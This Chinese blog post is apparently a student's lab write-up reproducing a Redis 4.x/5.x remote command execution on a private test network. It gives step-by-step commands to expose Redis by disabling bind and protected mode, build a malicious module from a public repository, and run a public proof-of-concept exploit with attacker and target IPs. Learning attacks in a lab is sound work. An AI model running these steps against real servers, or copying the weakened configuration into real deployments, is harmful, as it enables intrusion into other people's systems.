Redis远程命令执行漏洞复现


前两天电脑又被我搞坏了,昨天重装了下系统,下载了需要的东西,今天下午在kali上安装了grassmarlin,然后就开始做这个漏洞复现。这是我在实验室学习渗透测试过程中的第二个漏洞复现。

前言

Redis简介

Redis是一个高性能的key-value存储系统,支持多种value类型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客户端。

实验环境

  • 攻击机:Kali 192.168.227.128
  • 靶机:Kali 192.168.227.129
  • 影响范围:Redis4.x、5.x

靶机安装Redis包

  1. 下载Redis包:

    wget download.redis.io/releases/redis-4.0.11.tar.gz
  2. 解压安装包

    tar xzvf redis-4.0.11.tar.gz

    当前目录下会出现一个名为``redis-4.0.11`的文件夹。

  3. make安装

    进入文件夹,在usr/local/redis目录下安装redis:

    make PREFIX=/usr/local/redis install

    之后命令行刷屏,等待一会后,出现如下提示,安装结束:

  4. 检查安装是否有问题

    安装命令行提示,输入:

    make test

    等待一会儿,若出现以下提示,说明测试通过,安装已完成:

  5. 拷贝源码中的redis.conf到/usr/local/redis中

    cp /redis-4.0.11/redis.conf /usr/local/redis
  6. 修改redis.conf

    进入/usr/local/redis目录,打开redis.conf,做出以下修改:

    • 找到未注释的bind 127.0.0.1,并注释掉
    • 修改protected-mode属性为no(可通过IP访问)
    • 修改daemonize属性为yes(标识redis以后台方式启动)
  7. 服务端启动服务

    进入/usr/local/redis/bin目录下,执行如下命令:

    ./redis-server /usr/local/redis/redis.conf

    结果如下:

  8. 启动客户端连接并测试

    同样在bin目录下,执行如下命令:

    ./redis-cli

    结果如下:

攻击

攻击机中需要下载RedisModules-ExecuteCommandpoc

  1. 下载RedisModules-ExecuteCommand

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

    然后进入RedisModules-ExcuteCommand目录,直接make编译:

    make
  2. 下载poc

    git clone https://github.com/Ridter/redis-rce.git
  3. 复制

    将RedisMoudules-ExecuteCommand/src下的modules.so文件复制到poc目录(redis-rce)下。

  4. 安装需要的库

    我在运行redis.rce.py时,提示我缺少six这个库,需要pip安装。首先安装pip:

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

    安装完成后,当前目录下会出现一个get-pip.py文件,运行后就可以使用pip了:

    python get-pip.py

    然后就可以安装需要的库:

    pip install six
  5. 运行poc

    在redis-rce目录下,命令行键入:

    Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so

    结果如下:


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
ms15-051提权实验复现 ms15-051提权实验复现
Win32.k.sys内核模式驱动程序没有正确处理内存对象,在实现上存在权限提升漏洞,成功利用此漏洞可使攻击者在内核模式中运行任意代码。
2020-08-10
下一篇 
工控软件DLL劫持漏洞复现 工控软件DLL劫持漏洞复现
紧张刺激前所未有突如其来惨绝人寰的线上期末考试结束了,我也要开始做实验室的工作了,这学期因为学姐在准备毕业,我也划水了好久,中间只做过一些小任务,那么这个暑假就要把该还的帐还清了(突然泪目)。 我在期末考试前和博士联系过了,说自己想要学习渗
2020-08-06
  目录